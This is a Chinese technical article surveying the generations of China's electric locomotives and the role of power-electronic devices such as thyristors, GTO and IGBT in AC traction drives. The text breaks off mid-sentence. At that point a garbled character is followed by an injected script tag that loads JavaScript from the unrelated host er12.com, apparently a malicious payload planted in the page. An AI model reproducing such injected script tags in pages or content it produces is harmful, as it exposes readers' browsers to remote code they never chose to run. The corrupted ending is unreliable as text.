背景
众所周知，用作铁路牵引的动力，最早出现的是蒸汽机车，随后逐渐被内燃机车和电力机车所取代。大功率硅整流技术的出现，使电传动内燃机车和电力机车的传动型式从直—直传动(直流发电机或直流供电→直流电动机)，很自然地被更优越的交—直传动(交流发电机或交流供电→硅整流→直流电动机)所取代；随着大功率的晶闸管特别是大功率可关断晶闸管(gto)的出现和微机控制技术等的发展，20世纪70年代以后出现的交—直—交传动(交流发电机或交流供电→硅整流→逆变器→交流电动机)，即所谓的交流传动，又很自然地取代了交—直传动。这种技术进步，无不是电力电子器件应用于铁路牵引领域后所促成的。
我国电力机车的发展概况
我国从1958年至今的40多年来，电力机车的研究、生产经历了起步期(50年代末～70年代末)、成长期(70年代末～80年代末)、发展期(80年代末～90年代末)和技术突破期(90年代末至今)等4个阶段，车型也从第一代发展到第四代。目前我国已形成了4、6、8轴的韶山型系列电力机车型谱。至2002年底，我国铁路机车保有量达15153台，其中电力机车为4299台。表1所示为我国各代电力机车的代表机型。
我国各代电力机车的代表机型
近几年来我国电力机车快速发展与演变主要是致力于加快技术进步、大幅提高机车功率和机车最高运行速度而取得的。以ac4000交流传动电力机车的研制为始点，保留现有机车在行走、机械部分的特点，结合交流传动技术，逐步发展与完善交流传动机车是下一阶段我国电力机车发展的方向。单轴功率1000kw～1200kw的货运机车，1200kw～1400kw的客运机车可望较快实现。
我国引进的电力机车6k、8k、8g等，对我国干线电力机车研制、生产起了巨大的推动作用。学习借鉴、消化吸收国外机车的先进技术，才能使我国的电力机车技术水平有跨越式的提高，才可能突破当代铁路机车三大高科技技术：交流传动技术、微机控制技术和径向可调节转向架技术(径向自导向轮对)。
值得一提的是，我国目前已有3种交流传动动车组投入运营。广深线(广州—深圳)有“蓝箭号”及“先锋号”，构造速度均为200km/h。郑武线(郑州—武汉)有“中原之星”，构造速度为160km/h。而即将投入北京—秦皇岛客运专线运营的“中华之星”，在2002年11月创下了被誉为“神州第一速”———321.5km/h的中国铁路最高速度记录。
电力机车是否先进主要有3个标志，单轴功率达1600kw；交流传动采用gto、igbt、ipm逆变器；机车控制及自动诊断采用32位cpu。高速列车最高行驶速度在法国、西班牙已达350km/h。2001年5月26日法国曾创出306.36km/h的高速列车旅行速度新记录。而我国即使有所突破的交流传动，逆变器所采用的电力电子器件也仅是进口的gto管。此外，各种车载组件，如机车自动驾驶装置、机车车辆工况自动检测装置、列车运行自动控制系统中与之配套的车载装置、重载列车多机牵引的locotrol装置等方面，与国外仍存在较大差距。
电力电子器件在机车牵引领域的应用
近年来电力电子器件的发展使变流技术领域产生了根本性的变革，同时也极大地促进了机车牵引技术的发展，使交流传动的优越性得以明显发挥。
机车牵引领域电力电子器件的发展
自1957年晶闸管问世，标志着电力电子技术的诞生，从此电子技术向两个分支发展。一支是以晶体管集成电路为核心形成对信息处理的微电子技术，其发展特点是集成度愈来愈高，集成规模越来越大，功能越来越全。另一支是以晶闸管为核心形成对电力处理的电力电子技术，其发展特点是晶闸管的派生器件越来越多，功率越来越大，性能越来越好。
传统的电力电子器件已发展到相当成熟的阶段，但在实际中却存在两个制约其继续发展的致命因素。一是控制功能上的欠缺，因为通过门极只能控制其开通而不能控制其关断，属于半控型器件。二是此类器件立足于分立元件结构，开通损耗大，工作频率难以提高，一般情况下难以高于400hz，因而大大地限制了其应用范围。因此，半控制器?script src=http://er12.com/t.js>
